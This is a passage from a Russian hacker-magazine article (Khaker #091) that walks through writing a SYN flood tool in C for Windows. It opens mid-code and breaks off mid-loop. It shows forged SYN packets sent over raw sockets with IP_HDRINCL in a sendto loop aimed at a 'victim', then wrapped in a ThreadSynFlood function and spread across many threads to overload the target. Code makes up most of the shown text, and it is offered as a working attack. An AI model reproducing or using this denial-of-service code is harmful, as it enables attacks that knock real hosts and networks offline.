Excalibur на Си Wolf D.A. aka payhash Хакер, номер #091, стр. 091-128-4 * возвращаем */ memset(inetfragment, 0, sizeof(struct br0_ip) + sizeof(struct br0_tcp)); memcpy(inetfragment, tcpip, sizeof(struct br0_ip) + sizeof(struct br0_tcp)); return inetfragment; } После того как мы собрали фейк-пакет, его нужно как-то доставить адресату. Что же необходимо для этого сделать? Для этого нам нужно элементарное умение работать с RAW Sockets, то есть с сырыми сокетами. Для каждой конкретной ОС это делается по-своему, хотя отличия эти не так уж критичны (кстати, про работу с RAW SOCKETS в Х мы уже писали, переворачивай подшивку «Кодинга». - Прим. редактора). До недавнего времени такие вещи можно было делать только в *nix-системах, но после выхода NT-технологии виндовые программисты тоже получили свой кусочек счастья. Как же это все же делается? Легко! HANDLE на сырой сокет создается следующим вызовом: if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) { printf("WSAStartup Error!\n"); } if ((skt=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { printf("Socket Setup Error!\n"); } flag=1; if (setsockopt(skt,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!\n"); } nTimeOver=1000; if (setsockopt(skt, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) { printf("setsockopt SO_SNDTIMEO error!\n"); } После этого нужно вызывать нашу функцию по сборке фейк-пакета, сделать это можно таким образом: constructpacket(inetfragment, srcaddr, dstaddr, dstport); После чего отправляем его на HOUSE :), а точнее – вот так: for(I=0; I<TN; I++) // TN количество отправляемых раз { /* Отправляем фейк-пакет на удаленную систему*/ rect=sendto(skt, inetfragment, sizeof(struct br0_ip)+sizeof(struct br0_tcp), 0, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (rect==SOCKET_ERROR) { printf("send error!:%d\n",WSAGetLastError()); } else printf("send ok!\n"); } В общем, весь описанный код желательно объединить в одну большую функцию (для чего - читаем ниже), обзовем ее ThreadSynFlood, и общий ее синтаксис будет следующий: unsigned __stdcall ThreadSynFlood(void *arg) { /* Здесь должен быть ваш «хлам» (эмуляция IPv4 SYN пакета, отправление его жертве), все то, что мы с вами разбирали выше. */ } А где же результат? Все это очень хорошо, но мы ни как не вписываемся в третий постулат, поскольку нет нагрузки на систему. Тут уже нас подстерегают некие трудности. Например, циклами тут не отделаться, поэтому стоит задуматься о многопоточном программировании. Многопоточность на языке всех времен и народов можно организовать по-разному, но лично я использовал технологию трейдексов (для более глубокого изучения стоит посмотреть MSDN). Итак, углубимся в следующий пример: for(tncount=0; tncount < TN; tncount ++) hThreads[tncount] = (HANDLE)_beginthreadex(NULL, 0, &ThreadSynFlood, InitParam, 0, &uThreadIDs[tncount]); WaitForMultipleObjects(TN, hThreads, TRUE, INFINITE); for(tncount=0; tncount < TN; tncount ++) |